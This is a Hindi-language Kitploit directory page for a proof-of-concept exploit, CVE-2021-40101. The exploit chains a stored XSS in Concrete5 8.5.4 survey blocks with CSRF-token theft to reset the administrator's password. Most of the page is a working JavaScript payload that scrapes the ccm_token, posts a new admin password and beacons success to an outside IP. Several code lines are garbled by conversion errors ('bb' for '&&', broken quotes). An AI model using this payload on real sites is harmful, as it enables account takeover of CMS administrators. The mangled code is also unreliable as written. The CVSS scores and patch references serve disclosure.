Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-40101 — Survey XSS और CSRF मिलकर Concrete5 8.5.4 में Admin Account Takeover का कारण बनता है | Kitploit
उपकरण/GitHubGitHub/s1lkys/cve-2021-40101
फ़िशिंग उपकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubs1lkys/cve-2021-40101

CVE-2021-40101

Survey XSS और CSRF मिलकर Concrete5 8.5.4 में Admin Account Takeover का कारण बनता है

रिपॉजिटरी देखें
44 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सर्वे XSS और CSRF का संयोजन Concrete5 8.5.4 में एडमिन खाता अधिग्रहण की ओर ले जाता है

Concrete CMS का एक एडमिन (संस्करण 9 से नीचे) को किसी अन्य उपयोगकर्ता का पासवर्ड बदलते समय अपना पासवर्ड प्रदान करने की आवश्यकता नहीं थी।

CVE-2021-28145 के साथ संयोजन में (Concrete CMS (पूर्व में concrete5) 8.5.5 से पहले रिमोट प्रमाणित उपयोगकर्ताओं को एक क्राफ्टेड सर्वे ब्लॉक के माध्यम से XSS हमले करने की अनुमति देता है। इसके लिए कम से कम एडिटर विशेषाधिकारों की आवश्यकता होती है: फिक्स संस्करण 8.5.5 में शामिल किया गया था।) यह संभव है कि कम विशेषाधिकार प्राप्त उपयोगकर्ता, उदाहरण के लिए एक डेवलपर या सार्वजनिक उपयोगकर्ता जो सर्वे बनाने में सक्षम है, वेब एप्लिकेशन में दुर्भावनापूर्ण जावास्क्रिप्ट कोड डाल सके। सर्वे के परिणामों की समीक्षा एक एडमिन द्वारा अपने वेब इंटरफेस में Reports > Surveys के अंतर्गत की जा सकती है। वहां भी दुर्भावनापूर्ण जावास्क्रिप्ट कोड निष्पादित हो जाता है। Concrete5 में CSRF सुरक्षा है जिसे एक अनुरोध निष्पादित करने से पहले पेज से संबंधित टोकन चुराकर बहुत आसानी से बायपास किया जा सकता है। चूंकि concrete5 पासवर्ड बदलते समय पुराने पासवर्ड के लिए नहीं पूछता है, इसलिए एडमिनिस्ट्रेटर पासवर्ड को बहुत आसानी से बदलना संभव है।

Payload

root@kitploit:~
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest(); 
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send(); 

req.onreadystatechange = function () { 
  if (req.readyState == 4 bb req.status == 200) { 
    body = req.responseText; 
    ccm_token = body.match(regex)[3];
   }
  }; 
setTimeout(() => { 
  confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token); 
  req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
  req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
  req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1"); 

req2.onreadystatechange = function () { 
  if (req2.readyState == 4 bb req2.status == 200) {
    body = req2.responseText;
    if (body.includes("Password updated successfully.")){
      console.log("Password updated successfully.");
      var myImage = new Image(0, 0);
      myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
     }
     else{
      console.log("Something went wrong");
     } 
   }
 } 
},2000); 

CVSS स्कोर:

  • CVE-2021-40101 - 6.4 medium AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
  • CVE-2021-28145 - 5.4 medium CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

जिसके परिणामस्वरूप अंतिम स्कोर है

  • 7.2 उच्च

संदर्भ:

  • https://hackerone.com/bugs?report_id=1065577
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40101
  • https://youtu.be/w-B-j4NadDw
  • https://github.com/concrete5/concrete5/pull/9707/commits/f6bb806acfdda22860133b9586df068d4e3909a7
टूल डाउनलोड करें